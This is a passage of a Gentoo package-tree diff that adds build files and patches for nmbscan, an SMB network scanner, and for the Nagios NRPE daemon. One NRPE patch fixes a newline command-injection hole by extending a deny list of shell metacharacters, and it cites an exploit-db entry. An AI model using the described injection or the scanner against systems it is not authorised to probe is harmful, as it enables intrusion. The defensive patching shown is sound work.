+S=${WORKDIR}/${MY_P}
+
+DOCS=(AUTHORS HACKING NEWS TODO Translation)
+
+src_prepare() {
+ l10n_for_each_disabled_locale_do nmapsi_disable_locale
+}
+
+nmapsi_disable_locale() {
+ sed -i -e "/ts\/${PN}4_${1}\.ts/d" src/CMakeLists.txt || die
+}
diff --git a/net-analyzer/nmbscan/Manifest b/net-analyzer/nmbscan/Manifest
new file mode 100644
index 000000000000..2fbb01819d83
--- /dev/null
+++ b/net-analyzer/nmbscan/Manifest
@@ -0,0 +1 @@
+DIST nmbscan-1.2.5.tar.gz 44749 SHA256 e5f55548e256ded0dd8fc9067ac5c4a5df3d4d7489e871e2bd9b84ce04c7efeb SHA512 37030c6759cc8b257356274b54ec7474e49ddc523be20180c509064f9238da3350f0f0e73e84f2e89201405e93a350a7a7cdc24ef890e638b62648ee2fc4feb9 WHIRLPOOL 943314c9d225e40e3849384cbaa338f1ff6da09d45e0bc9c1bffdf7800077b84a4a07f5de2e30dca05d542224e72686533acbc96721b3d04e3c87291591ecccb
diff --git a/net-analyzer/nmbscan/files/nmbscan-1.2.5-head.diff b/net-analyzer/nmbscan/files/nmbscan-1.2.5-head.diff
new file mode 100644
index 000000000000..6139f71f297d
--- /dev/null
+++ b/net-analyzer/nmbscan/files/nmbscan-1.2.5-head.diff
@@ -0,0 +1,11 @@
+--- nmbscan.orig 2005-09-21 22:10:05.223491664 +0200
++++ nmbscan 2005-09-21 22:11:59.215162296 +0200
+@@ -402,7 +402,7 @@
+
+ function get_server_and_os_by_ip
+ {
+- V=$(smbclient -L ${2:-$1} -I $1 -U % 2>&1 | grep '^Domain'| sed 's#.*OS=\[\(.*\)\].*Server=\[\(.*\)\].*#\2/\1#' | head -1)
++ V=$(smbclient -L ${2:-$1} -I $1 -U % 2>&1 | grep '^Domain'| sed 's#.*OS=\[\(.*\)\].*Server=\[\(.*\)\].*#\2/\1#' | head -n 1)
+ echo ${V:--/-}
+ }
+
diff --git a/net-analyzer/nmbscan/metadata.xml b/net-analyzer/nmbscan/metadata.xml
new file mode 100644
index 000000000000..1cd1c6c9f673
--- /dev/null
+++ b/net-analyzer/nmbscan/metadata.xml
@@ -0,0 +1,13 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<maintainer>
+ <email>maintainer-needed@gentoo.org</email>
+</maintainer>
+<longdescription>
+nmbscan scans the shares of a SMB network, using the NMB and SMB protocols.
+It is useful for acquiring information on a local area network for such purposes as security auditing.
+It can obtain such information as NMB/SMB/Windows hostname, IP address, IP hostname, ethernet MAC address, Windows username, NMB/SMB/Windows domain name, and master browser.
+It can discover all the NMB/SMB/Windows hosts on a local area network by using the hosts lists maintained by master browsers.
+</longdescription>
+</pkgmetadata>
diff --git a/net-analyzer/nmbscan/nmbscan-1.2.5.ebuild b/net-analyzer/nmbscan/nmbscan-1.2.5.ebuild
new file mode 100644
index 000000000000..0f1cade60258
--- /dev/null
+++ b/net-analyzer/nmbscan/nmbscan-1.2.5.ebuild
@@ -0,0 +1,43 @@
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=2
+
+inherit eutils
+
+DESCRIPTION="netbios scanner"
+HOMEPAGE="http://nmbscan.gbarbier.org/"
+SRC_URI="http://nmbscan.gbarbier.org/down/${P}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="alpha amd64 arm hppa ia64 ~mips ~ppc ppc64 s390 sparc x86"
+IUSE=""
+
+DEPEND=""
+RDEPEND="app-shells/bash
+ net-dns/bind-tools
+ net-fs/samba
+ net-misc/iputils
+ sys-apps/coreutils
+ virtual/awk
+ sys-apps/grep
+ sys-apps/net-tools
+ sys-apps/sed"
+
+src_prepare() {
+ epatch "${FILESDIR}"/${P}-head.diff || die
+}
+
+src_configure() {
+ return
+}
+
+src_compile() {
+ return
+}
+
+src_install() {
+ dobin nmbscan || die
+}
diff --git a/net-analyzer/nrpe/Manifest b/net-analyzer/nrpe/Manifest
new file mode 100644
index 000000000000..51876a8e1c1f
--- /dev/null
+++ b/net-analyzer/nrpe/Manifest
@@ -0,0 +1 @@
+DIST nrpe-2.15.tar.gz 419695 SHA256 66383b7d367de25ba031d37762d83e2b55de010c573009c6f58270b137131072 SHA512 03ce9774b5112d03235dc9da075770d89d1bcc5ffa5faf221ff7ea8ec5c92ded1e1ae9222581a87cf53736d190ac047e1acce7edc2f31f26c432d786cdef0e73 WHIRLPOOL f97ad7431138fd96588bb4e9d13404a0425bbdb8582c7c472cb20621bb77a9e9ecdeed88b9247ea20815da33c5b123368a540c5a0a058921e59367c2ce2a2b10
diff --git a/net-analyzer/nrpe/files/nagios-nrpe-2.13-command-args.patch b/net-analyzer/nrpe/files/nagios-nrpe-2.13-command-args.patch
new file mode 100644
index 000000000000..fe6751aa55ee
--- /dev/null
+++ b/net-analyzer/nrpe/files/nagios-nrpe-2.13-command-args.patch
@@ -0,0 +1,15 @@
+--- configure.old 2008-03-10 22:04:41.000000000 +0100
++++ configure.in 2012-01-04 09:46:38.000000000 +0100
+@@ -362,7 +362,11 @@
+ AC_SUBST(NAGIOS_INSTALL_OPTS)
+
+
+-AC_ARG_ENABLE(command-args,--enable-command-args allows clients to specify command arguments. *** THIS IS A SECURITY RISK! *** Read the SECURITY file before using this option!,AC_DEFINE_UNQUOTED(ENABLE_COMMAND_ARGUMENTS))
++AC_ARG_ENABLE(command-args,--enable-command-args allows clients to specify command arguments. *** THIS IS A SECURITY RISK! *** Read the SECURITY file before using this option!,[
++ if test x$enableval = xyes; then
++ AC_DEFINE_UNQUOTED(ENABLE_COMMAND_ARGUMENTS)
++ fi
++ ])
+
+
+ AC_PATH_PROG(PERL,perl)
diff --git a/net-analyzer/nrpe/files/nagios-nrpe-2.13-multiline.patch b/net-analyzer/nrpe/files/nagios-nrpe-2.13-multiline.patch
new file mode 100644
index 000000000000..8d96149cb36e
--- /dev/null
+++ b/net-analyzer/nrpe/files/nagios-nrpe-2.13-multiline.patch
@@ -0,0 +1,200 @@
+diff --git a/include/common.h b/include/common.h
+index 202dec4..86f8e32 100755
+--- a/include/common.h
++++ b/include/common.h
+@@ -41,7 +41,7 @@
+ #define DEFAULT_SOCKET_TIMEOUT 10 /* timeout after 10 seconds */
+ #define DEFAULT_CONNECTION_TIMEOUT 300 /* timeout if daemon is waiting for connection more than this time */
+
+-#define MAX_INPUT_BUFFER 2048 /* max size of most buffers we use */
++#define MAX_INPUT_BUFFER 16384 /* max size of most buffers we use */
+ #define MAX_FILENAME_LENGTH 256
+
+ #define MAX_HOST_ADDRESS_LENGTH 256 /* max size of a host address */
+@@ -55,12 +55,14 @@
+
+ #define QUERY_PACKET 1 /* id code for a packet containing a query */
+ #define RESPONSE_PACKET 2 /* id code for a packet containing a response */
++#define RESPONSE_PACKET_WITH_MORE 3 /* id code for a packet containing a response, with more data to follow */
+
+ #define NRPE_PACKET_VERSION_3 3 /* packet version identifier */
+ #define NRPE_PACKET_VERSION_2 2
+ #define NRPE_PACKET_VERSION_1 1 /* older packet version identifiers (no longer supported) */
+
+ #define MAX_PACKETBUFFER_LENGTH 1024 /* max amount of data we'll send in one query/response */
++ /* WARNING - do not change this as older clients/servers will not work */
+
+ typedef struct packet_struct{
+ int16_t packet_version;
+diff --git a/src/check_nrpe.c b/src/check_nrpe.c
+index 0adced1..ff4b920 100755
+--- a/src/check_nrpe.c
++++ b/src/check_nrpe.c
+@@ -221,6 +221,11 @@ int main(int argc, char **argv){
+ return STATE_UNKNOWN;
+ }
+
++ /* Altinity patch: Allow multiple packets to be received */
++ /* Indentation not corrected to allow simpler patching */
++ /* START MULTI_PACKET LOOP */
++ do {
++
+ /* wait for the response packet */
+ bytes_to_recv=sizeof(receive_packet);
+ if(use_ssl==FALSE)
+@@ -233,31 +238,24 @@ int main(int argc, char **argv){
+ /* reset timeout */
+ alarm(0);
+
+- /* close the connection */
+-#ifdef HAVE_SSL
+- if(use_ssl==TRUE){
+- SSL_shutdown(ssl);
+- SSL_free(ssl);
+- SSL_CTX_free(ctx);
+- }
+-#endif
+- graceful_close(sd,1000);
+-
+ /* recv() error */
+ if(rc<0){
+ printf("CHECK_NRPE: Error receiving data from daemon.\n");
++ graceful_close(sd,1000);
+ return STATE_UNKNOWN;
+ }
+
+ /* server disconnected */
+ else if(rc==0){
+ printf("CHECK_NRPE: Received 0 bytes from daemon. Check the remote server logs for error messages.\n");
++ graceful_close(sd,1000);
+ return STATE_UNKNOWN;
+ }
+
+ /* receive underflow */
+ else if(bytes_to_recv<sizeof(receive_packet)){
+ printf("CHECK_NRPE: Receive underflow - only %d bytes received (%d expected).\n",bytes_to_recv,sizeof(receive_packet));
++ graceful_close(sd,1000);
+ return STATE_UNKNOWN;
+ }
+
+@@ -271,21 +269,21 @@ int main(int argc, char **argv){
+ calculated_crc32=calculate_crc32((char *)&receive_packet,sizeof(receive_packet));
+ if(packet_crc32!=calculated_crc32){
+ printf("CHECK_NRPE: Response packet had invalid CRC32.\n");
+- close(sd);
++ graceful_close(sd,1000);
+ return STATE_UNKNOWN;
+ }
+
+ /* check packet version */
+ if(ntohs(receive_packet.packet_version)!=NRPE_PACKET_VERSION_2){
+ printf("CHECK_NRPE: Invalid packet version received from server.\n");
+- close(sd);
++ graceful_close(sd,1000);
+ return STATE_UNKNOWN;
+ }
+
+ /* check packet type */
+- if(ntohs(receive_packet.packet_type)!=RESPONSE_PACKET){
++ if(ntohs(receive_packet.packet_type)!=RESPONSE_PACKET && ntohs(receive_packet.packet_type)!=RESPONSE_PACKET_WITH_MORE){
+ printf("CHECK_NRPE: Invalid packet type received from server.\n");
+- close(sd);
++ graceful_close(sd,1000);
+ return STATE_UNKNOWN;
+ }
+
+@@ -297,8 +295,18 @@ int main(int argc, char **argv){
+ if(!strcmp(receive_packet.buffer,""))
+ printf("CHECK_NRPE: No output returned from daemon.\n");
+ else
+- printf("%s\n",receive_packet.buffer);
+- }
++ printf("%s",receive_packet.buffer);
++
++ } while (ntohs(receive_packet.packet_type)==RESPONSE_PACKET_WITH_MORE);
++ /* END MULTI_PACKET LOOP */
++
++ /* Finish output with newline */
++ printf("\n");
++
++ /* close the connection */
++ graceful_close(sd,1000);
++
++ }
+
+ /* reset the alarm */
+ else
+@@ -434,6 +442,14 @@ int graceful_close(int sd, int timeout){
+ struct timeval tv;
+ char buf[1000];
+
++#ifdef HAVE_SSL
++ if(use_ssl==TRUE){
++ SSL_shutdown(ssl);
++ SSL_free(ssl);
++ SSL_CTX_free(ctx);
++ }
++#endif
++
+ /* send FIN packet */
+ shutdown(sd,SHUT_WR);
+ for(;;){
+diff --git a/src/nrpe.c b/src/nrpe.c
+index f2b0164..dfa8262 100755
+--- a/src/nrpe.c
++++ b/src/nrpe.c
+@@ -972,6 +972,8 @@ void handle_connection(int sock){
+ char processed_command[MAX_INPUT_BUFFER];
+ int result=STATE_OK;
+ int early_timeout=FALSE;
++ int bytes_copied=0;
++ char *pbuffer=&buffer[0];
+ int rc;
+ int x;
+ #ifdef DEBUG
+@@ -1188,6 +1190,14 @@ void handle_connection(int sock){
+ if(buffer[strlen(buffer)-1]=='\n')
+ buffer[strlen(buffer)-1]='\x0';
+
++ /* Altinity patch to allow multi packet responses */
++ /* Loop not indented to allow easier patching */
++ /* START MULTI_PACKET LOOP */
++ do {
++
++ if(debug==TRUE)
++ syslog(LOG_DEBUG,"Sending response - bytes left: %d", strlen(pbuffer));
++
+ /* clear the response packet buffer */
+ bzero(&send_packet,sizeof(send_packet));
+
+@@ -1196,11 +1206,17 @@ void handle_connection(int sock){
+
+ /* initialize response packet data */
+ send_packet.packet_version=(int16_t)htons(NRPE_PACKET_VERSION_2);
+- send_packet.packet_type=(int16_t)htons(RESPONSE_PACKET);
+ send_packet.result_code=(int16_t)htons(result);
+- strncpy(&send_packet.buffer[0],buffer,MAX_PACKETBUFFER_LENGTH);
++ strncpy(&send_packet.buffer[0],pbuffer,MAX_PACKETBUFFER_LENGTH);
+ send_packet.buffer[MAX_PACKETBUFFER_LENGTH-1]='\x0';
+-
++
++ bytes_copied = strlen(&send_packet.buffer[0]);
++ pbuffer = pbuffer+bytes_copied;
++ if(strlen(pbuffer)>0)
++ send_packet.packet_type=(int16_t)htons(RESPONSE_PACKET_WITH_MORE);
++ else
++ send_packet.packet_type=(int16_t)htons(RESPONSE_PACKET);
++
+ /* calculate the crc 32 value of the packet */
+ send_packet.crc32_value=(u_int32_t)0L;
+ calculated_crc32=calculate_crc32((char *)&send_packet,sizeof(send_packet));
+@@ -1219,6 +1235,9 @@ void handle_connection(int sock){
+ SSL_write(ssl,&send_packet,bytes_to_send);
+ #endif
+
++ } while (strlen(pbuffer) > 0);
++ /* END MULTI_PACKET LOOP */
++
+ #ifdef HAVE_SSL
+ if(ssl){
+ SSL_shutdown(ssl);
diff --git a/net-analyzer/nrpe/files/nagios-nrpe-2.13-tcpd.patch b/net-analyzer/nrpe/files/nagios-nrpe-2.13-tcpd.patch
new file mode 100644
index 000000000000..67dd22e05310
--- /dev/null
+++ b/net-analyzer/nrpe/files/nagios-nrpe-2.13-tcpd.patch
@@ -0,0 +1,33 @@
+--- configure.in.orig 2008-03-10 22:04:41.000000000 +0100
++++ configure.in 2012-01-08 17:59:49.804613011 +0100
+@@ -147,11 +147,27 @@
+ AC_CHECK_LIB(nsl,main,SOCKETLIBS="$SOCKETLIBS -lnsl")
+ AC_CHECK_LIB(socket,socket,SOCKETLIBS="$SOCKETLIBS -lsocket")
+ AC_SUBST(SOCKETLIBS)
+-AC_CHECK_LIB(wrap,main,[
+- LIBWRAPLIBS="$LIBWRAPLIBS -lwrap"
++
++AC_ARG_ENABLE(tcp-wrapper,--enable-tcp-wrapper enables support for TCP wrappers. *** DISABLING IS A SECURITY RISK! *** Read the SECURITY file before using this option! (default: auto),[
++ if test x$enableval = xyes; then
++ enable_tcp_wrapper=yes
++ else
++ enable_tcp_wrapper=no
++ fi
++ ],enable_tcp_wrapper="auto")
++
++LIBWRAPLIBS=""
++if test "x$enable_tcp_wrapper" = "xauto"; then
++ AC_CHECK_LIB(wrap,main,[
++ LIBWRAPLIBS="$LIBWRAPLIBS -lwrap"
++ AC_DEFINE(HAVE_LIBWRAP)
++ ])
++elif test "x$enable_tcp_wrapper" = "xyes"; then
++ AC_CHECK_LIB(wrap,main,LIBWRAPLIBS="$LIBWRAPLIBS -lwrap",[AC_MSG_ERROR([TCP wrapper library not found])])
+ AC_DEFINE(HAVE_LIBWRAP)
+- ])
++fi
+ AC_SUBST(LIBWRAPLIBS)
++
+ AC_CHECK_FUNCS(strdup strstr strtoul initgroups closesocket)
+
+ dnl socklen_t check - from curl
diff --git a/net-analyzer/nrpe/files/nrpe-2.14-multiline.patch b/net-analyzer/nrpe/files/nrpe-2.14-multiline.patch
new file mode 100644
index 000000000000..3af2ef95baba
--- /dev/null
+++ b/net-analyzer/nrpe/files/nrpe-2.14-multiline.patch
@@ -0,0 +1,204 @@
+Add support for large output
+
+http://opsview-blog.opsera.com/dotorg/2008/08/enhancing-nrpe.htmlIndex: nrpe-2.14/include/common.h
+===================================================================
+Index: nrpe-2.14/include/common.h
+===================================================================
+--- nrpe-2.14.orig/include/common.h
++++ nrpe-2.14/include/common.h
+@@ -41,7 +41,7 @@
+ #define DEFAULT_SOCKET_TIMEOUT 10 /* timeout after 10 seconds */
+ #define DEFAULT_CONNECTION_TIMEOUT 300 /* timeout if daemon is waiting for connection more than this time */
+
+-#define MAX_INPUT_BUFFER 2048 /* max size of most buffers we use */
++#define MAX_INPUT_BUFFER 16384 /* max size of most buffers we use */
+ #define MAX_FILENAME_LENGTH 256
+
+ #define MAX_HOST_ADDRESS_LENGTH 256 /* max size of a host address */
+@@ -55,12 +55,14 @@
+
+ #define QUERY_PACKET 1 /* id code for a packet containing a query */
+ #define RESPONSE_PACKET 2 /* id code for a packet containing a response */
++#define RESPONSE_PACKET_WITH_MORE 3 /* id code for a packet containing a response, with more data to follow */
+
+ #define NRPE_PACKET_VERSION_3 3 /* packet version identifier */
+ #define NRPE_PACKET_VERSION_2 2
+ #define NRPE_PACKET_VERSION_1 1 /* older packet version identifiers (no longer supported) */
+
+ #define MAX_PACKETBUFFER_LENGTH 1024 /* max amount of data we'll send in one query/response */
++ /* WARNING - do not change this as older clients/servers will not work */
+
+ typedef struct packet_struct{
+ int16_t packet_version;
+Index: nrpe-2.14/src/check_nrpe.c
+===================================================================
+--- nrpe-2.14.orig/src/check_nrpe.c
++++ nrpe-2.14/src/check_nrpe.c
+@@ -221,6 +221,11 @@ int main(int argc, char **argv){
+ return STATE_UNKNOWN;
+ }
+
++ /* Altinity patch: Allow multiple packets to be received */
++ /* Indentation not corrected to allow simpler patching */
++ /* START MULTI_PACKET LOOP */
++ do {
++
+ /* wait for the response packet */
+ bytes_to_recv=sizeof(receive_packet);
+ if(use_ssl==FALSE)
+@@ -233,31 +238,24 @@ int main(int argc, char **argv){
+ /* reset timeout */
+ alarm(0);
+
+- /* close the connection */
+-#ifdef HAVE_SSL
+- if(use_ssl==TRUE){
+- SSL_shutdown(ssl);
+- SSL_free(ssl);
+- SSL_CTX_free(ctx);
+- }
+-#endif
+- graceful_close(sd,1000);
+-
+ /* recv() error */
+ if(rc<0){
+ printf("CHECK_NRPE: Error receiving data from daemon.\n");
++ graceful_close(sd,1000);
+ return STATE_UNKNOWN;
+ }
+
+ /* server disconnected */
+ else if(rc==0){
+ printf("CHECK_NRPE: Received 0 bytes from daemon. Check the remote server logs for error messages.\n");
++ graceful_close(sd,1000);
+ return STATE_UNKNOWN;
+ }
+
+ /* receive underflow */
+ else if(bytes_to_recv<sizeof(receive_packet)){
+ printf("CHECK_NRPE: Receive underflow - only %d bytes received (%d expected).\n",bytes_to_recv,sizeof(receive_packet));
++ graceful_close(sd,1000);
+ return STATE_UNKNOWN;
+ }
+
+@@ -271,21 +269,21 @@ int main(int argc, char **argv){
+ calculated_crc32=calculate_crc32((char *)&receive_packet,sizeof(receive_packet));
+ if(packet_crc32!=calculated_crc32){
+ printf("CHECK_NRPE: Response packet had invalid CRC32.\n");
+- close(sd);
++ graceful_close(sd,1000);
+ return STATE_UNKNOWN;
+ }
+
+ /* check packet version */
+ if(ntohs(receive_packet.packet_version)!=NRPE_PACKET_VERSION_2){
+ printf("CHECK_NRPE: Invalid packet version received from server.\n");
+- close(sd);
++ graceful_close(sd,1000);
+ return STATE_UNKNOWN;
+ }
+
+ /* check packet type */
+- if(ntohs(receive_packet.packet_type)!=RESPONSE_PACKET){
++ if(ntohs(receive_packet.packet_type)!=RESPONSE_PACKET && ntohs(receive_packet.packet_type)!=RESPONSE_PACKET_WITH_MORE){
+ printf("CHECK_NRPE: Invalid packet type received from server.\n");
+- close(sd);
++ graceful_close(sd,1000);
+ return STATE_UNKNOWN;
+ }
+
+@@ -297,8 +295,18 @@ int main(int argc, char **argv){
+ if(!strcmp(receive_packet.buffer,""))
+ printf("CHECK_NRPE: No output returned from daemon.\n");
+ else
+- printf("%s\n",receive_packet.buffer);
+- }
++ printf("%s",receive_packet.buffer);
++
++ } while (ntohs(receive_packet.packet_type)==RESPONSE_PACKET_WITH_MORE);
++ /* END MULTI_PACKET LOOP */
++
++ /* Finish output with newline */
++ printf("\n");
++
++ /* close the connection */
++ graceful_close(sd,1000);
++
++ }
+
+ /* reset the alarm */
+ else
+@@ -434,6 +442,14 @@ int graceful_close(int sd, int timeout){
+ struct timeval tv;
+ char buf[1000];
+
++#ifdef HAVE_SSL
++ if(use_ssl==TRUE){
++ SSL_shutdown(ssl);
++ SSL_free(ssl);
++ SSL_CTX_free(ctx);
++ }
++#endif
++
+ /* send FIN packet */
+ shutdown(sd,SHUT_WR);
+ for(;;){
+Index: nrpe-2.14/src/nrpe.c
+===================================================================
+--- nrpe-2.14.orig/src/nrpe.c
++++ nrpe-2.14/src/nrpe.c
+@@ -1056,6 +1056,8 @@ void handle_connection(int sock){
+ char processed_command[MAX_INPUT_BUFFER];
+ int result=STATE_OK;
+ int early_timeout=FALSE;
++ int bytes_copied=0;
++ char *pbuffer=&buffer[0];
+ int rc;
+ int x;
+ #ifdef DEBUG
+@@ -1272,6 +1274,14 @@ void handle_connection(int sock){
+ if(buffer[strlen(buffer)-1]=='\n')
+ buffer[strlen(buffer)-1]='\x0';
+
++ /* Altinity patch to allow multi packet responses */
++ /* Loop not indented to allow easier patching */
++ /* START MULTI_PACKET LOOP */
++ do {
++
++ if(debug==TRUE)
++ syslog(LOG_DEBUG,"Sending response - bytes left: %d", strlen(pbuffer));
++
+ /* clear the response packet buffer */
+ bzero(&send_packet,sizeof(send_packet));
+
+@@ -1280,11 +1290,17 @@ void handle_connection(int sock){
+
+ /* initialize response packet data */
+ send_packet.packet_version=(int16_t)htons(NRPE_PACKET_VERSION_2);
+- send_packet.packet_type=(int16_t)htons(RESPONSE_PACKET);
+ send_packet.result_code=(int16_t)htons(result);
+- strncpy(&send_packet.buffer[0],buffer,MAX_PACKETBUFFER_LENGTH);
++ strncpy(&send_packet.buffer[0],pbuffer,MAX_PACKETBUFFER_LENGTH);
+ send_packet.buffer[MAX_PACKETBUFFER_LENGTH-1]='\x0';
+-
++
++ bytes_copied = strlen(&send_packet.buffer[0]);
++ pbuffer = pbuffer+bytes_copied;
++ if(strlen(pbuffer)>0)
++ send_packet.packet_type=(int16_t)htons(RESPONSE_PACKET_WITH_MORE);
++ else
++ send_packet.packet_type=(int16_t)htons(RESPONSE_PACKET);
++
+ /* calculate the crc 32 value of the packet */
+ send_packet.crc32_value=(u_int32_t)0L;
+ calculated_crc32=calculate_crc32((char *)&send_packet,sizeof(send_packet));
+@@ -1303,6 +1319,9 @@ void handle_connection(int sock){
+ SSL_write(ssl,&send_packet,bytes_to_send);
+ #endif
+
++ } while (strlen(pbuffer) > 0);
++ /* END MULTI_PACKET LOOP */
++
+ #ifdef HAVE_SSL
+ if(ssl){
+ complete_SSL_shutdown( ssl);
diff --git a/net-analyzer/nrpe/files/nrpe-2.14-tcpd-et-al.patch b/net-analyzer/nrpe/files/nrpe-2.14-tcpd-et-al.patch
new file mode 100644
index 000000000000..f18bc31ac4e1
--- /dev/null
+++ b/net-analyzer/nrpe/files/nrpe-2.14-tcpd-et-al.patch
@@ -0,0 +1,74 @@
+--- nrpe-2.14.orig/configure.in
++++ nrpe-2.14/configure.in
+@@ -1,12 +1,8 @@
+ dnl Process this -*-m4-*- file with autoconf to produce a configure script.
+
+-dnl Disable caching
+-define([AC_CACHE_LOAD],)
+-define([AC_CACHE_SAVE],)
+-
+-2.14([nrpe],[2.13],[nagios-users@lists.sourceforge.net],[nrpe],[http://www.nagios.org])
++AC_INIT([nrpe],[2.14],[nagios-users@lists.sourceforge.net],[nrpe],[http://www.nagios.org])
+ AC_CONFIG_SRCDIR([src/nrpe.c])
+-AC_CONFIG_HEADERS([include/config.h])
++
+ AC_CONFIG_FILES([Makefile
+ subst
+ src/Makefile
+@@ -16,7 +12,8 @@
+ init-script.suse
+ nrpe.spec
+ sample-config/nrpe.cfg
+- sample-config/nrpe.xinetd])
++ sample-config/nrpe.xinetd
++ include/config.h])
+ AC_PREFIX_DEFAULT(/usr/local/nagios)
+
+ PKG_NAME=nrpe
+@@ -45,7 +42,7 @@
+ AC_HEADER_STDC
+ AC_HEADER_TIME
+ AC_HEADER_SYS_WAIT
+-AC_CHECK_HEADERS(ctype.h dirent.h errno.h fcntl.h getopt.h grp.h inttypes.h netdb.h pwd.h signal.h stdint.h strings.h string.h syslog.h tcpd.h unistd.h arpa/inet.h netinet/in.h socket.h sys/types.h sys/time.h sys/resource.h sys/wait.h sys/socket.h sys/stat.h)
++AC_CHECK_HEADERS(ctype.h dirent.h errno.h fcntl.h getopt.h grp.h inttypes.h netdb.h pwd.h signal.h stdint.h strings.h string.h syslog.h unistd.h arpa/inet.h netinet/in.h socket.h sys/types.h sys/time.h sys/resource.h sys/wait.h sys/socket.h sys/stat.h)
+
+ dnl Checks for typedefs, structures, and compiler characteristics.
+ AC_C_CONST
+@@ -164,11 +161,20 @@
+ AC_CHECK_LIB(nsl,main,SOCKETLIBS="$SOCKETLIBS -lnsl")
+ AC_CHECK_LIB(socket,socket,SOCKETLIBS="$SOCKETLIBS -lsocket")
+ AC_SUBST(SOCKETLIBS)
+-AC_CHECK_LIB(wrap,main,[
+- LIBWRAPLIBS="$LIBWRAPLIBS -lwrap"
++
++AC_ARG_ENABLE([tcp-wrapper],
++ AS_HELP_STRING([--disable-tcp-wrapper], [Disable building with TCP wrappers. *** DISABLING IS A SECURITY RISK! *** Read the SECURITY file before using this option! @<:@default=enable@:>@]))
++
++LIBWRAPLIBS=""
++AS_IF([test "x$enable_tcp_wrapper" != "xno"], [
++ AC_CHECK_LIB([wrap],[hosts_access],[
++ LIBWRAPLIBS="$LIBWRAPLIBS -lwrap"
+ AC_DEFINE(HAVE_LIBWRAP,[1],[Have the TCP wrappers library])
+- ])
++ AC_DEFINE(HAVE_TCPD_H,[1],[Have the TCP wrappers library])
++ ])
++])
+ AC_SUBST(LIBWRAPLIBS)
++
+ AC_CHECK_FUNCS(strdup strstr strtoul initgroups closesocket)
+
+ dnl socklen_t check - from curl
+@@ -438,8 +444,11 @@
+ AC_SUBST(TARGET_PLATFORM)
+
+ AC_ARG_ENABLE([command-args],
+- AS_HELP_STRING([--enable-command-args],[allows clients to specify command arguments. *** THIS IS A SECURITY RISK! *** Read the SECURITY file before using this option!]),
+- AC_DEFINE_UNQUOTED(ENABLE_COMMAND_ARGUMENTS,[1],[Enable command-line arguments]))
++ AS_HELP_STRING([--enable-command-args],[allows clients to specify command arguments. *** THIS IS A SECURITY RISK! *** Read the SECURITY file before using this option!]))
++
++AS_IF([test "x$enable_command_args" = "xyes"], [
++ AC_DEFINE(ENABLE_COMMAND_ARGUMENTS,[1],[Enable command-line arguments])
++])
+
+ AC_ARG_ENABLE([bash-command-substitution],
+ AS_HELP_STRING([--enable-bash-command-substitution],[allows clients to pass bash command substitutions of the form $(command). *** THIS IS A HIGH SECURITY RISK! *** Read the SECURITY file before using this option!]),
diff --git a/net-analyzer/nrpe/files/nrpe-2.15-autoconf-header.patch b/net-analyzer/nrpe/files/nrpe-2.15-autoconf-header.patch
new file mode 100644
index 000000000000..81078c449713
--- /dev/null
+++ b/net-analyzer/nrpe/files/nrpe-2.15-autoconf-header.patch
@@ -0,0 +1,24 @@
+diff -Nuar --exclude '*.orig' nrpe-2.15.orig/configure.in nrpe-2.15/configure.in
+--- nrpe-2.15.orig/configure.in 2013-09-06 08:27:13.000000000 -0700
++++ nrpe-2.15/configure.in 2014-04-19 09:32:52.251766643 -0700
+@@ -6,7 +6,8 @@
+
+ AC_INIT([nrpe],[2.15],[nagios-users@lists.sourceforge.net],[nrpe],[http://www.nagios.org])
+ AC_CONFIG_SRCDIR([src/nrpe.c])
+-AC_CONFIG_HEADERS([include/config.h])
++AC_CONFIG_HEADERS([include/autoconf.h])
+ AC_CONFIG_FILES([Makefile
++ include/config.h
+ subst
+ src/Makefile
+diff -Nuar --exclude '*.orig' nrpe-2.15.orig/include/config.h.in nrpe-2.15/include/config.h.in
+--- nrpe-2.15.orig/include/config.h.in 2013-09-06 08:27:13.000000000 -0700
++++ nrpe-2.15/include/config.h.in 2014-04-19 09:33:07.620035056 -0700
+@@ -26,6 +26,7 @@
+
+ #include <stdio.h>
+ #include <stdlib.h>
++#include "autoconf.h"
+
+
+ #define DEFAULT_SERVER_PORT @nrpe_port@ /* default port to use */
diff --git a/net-analyzer/nrpe/files/nrpe-2.15-metachar-security-fix.patch b/net-analyzer/nrpe/files/nrpe-2.15-metachar-security-fix.patch
new file mode 100644
index 000000000000..c42f8bfdec00
--- /dev/null
+++ b/net-analyzer/nrpe/files/nrpe-2.15-metachar-security-fix.patch
@@ -0,0 +1,26 @@
+Disallow all control characters in argument handling.
+
+This closes a security hole that allowed passing commands via the argument
+handling, if a newline was used to seperate the argument from the rest of the
+command.
+
+X-URL: http://www.exploit-db.com/exploits/32925/
+Signed-off-by: Robin H. Johnson <robbat2@gentoo.org>
+
+--
+I didn't find any patches from upstream NRPE, so I wrote this quick one.
+If somebody else has a valid use for control characters in NRPE arguments, then
+this could be relaxed slightly.
+
+diff -Nuar --exclude '*.orig' nrpe-2.15.orig/src/nrpe.c nrpe-2.15/src/nrpe.c
+--- nrpe-2.15.orig/src/nrpe.c 2014-04-19 09:37:16.022373910 -0700
++++ nrpe-2.15/src/nrpe.c 2014-04-19 09:46:53.237458939 -0700
+@@ -53,7 +53,7 @@
+
+ #define DEFAULT_COMMAND_TIMEOUT 60 /* default timeout for execution of plugins */
+ #define MAXFD 64
+-#define NASTY_METACHARS "|`&><'\"\\[]{};"
++#define NASTY_METACHARS "|`&><'\"\\[]{};\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x7f"
+ #define howmany(x,y) (((x)+((y)-1))/(y))
+ #define MAX_LISTEN_SOCKS 16
+
diff --git a/net-analyzer/nrpe/files/nrpe-2.15-tcpd-et-al.patch b/net-analyzer/nrpe/files/nrpe-2.15-tcpd-et-al.patch
new file mode 100644
index 000000000000..b8a0811b831c
--- /dev/null
+++ b/net-analyzer/nrpe/files/nrpe-2.15-tcpd-et-al.patch
@@ -0,0 +1,50 @@
+diff -Nuar --exclude '*.orig' nrpe-2.15.orig/configure.in nrpe-2.15/configure.in
+--- nrpe-2.15.orig/configure.in 2013-09-06 08:27:13.000000000 -0700
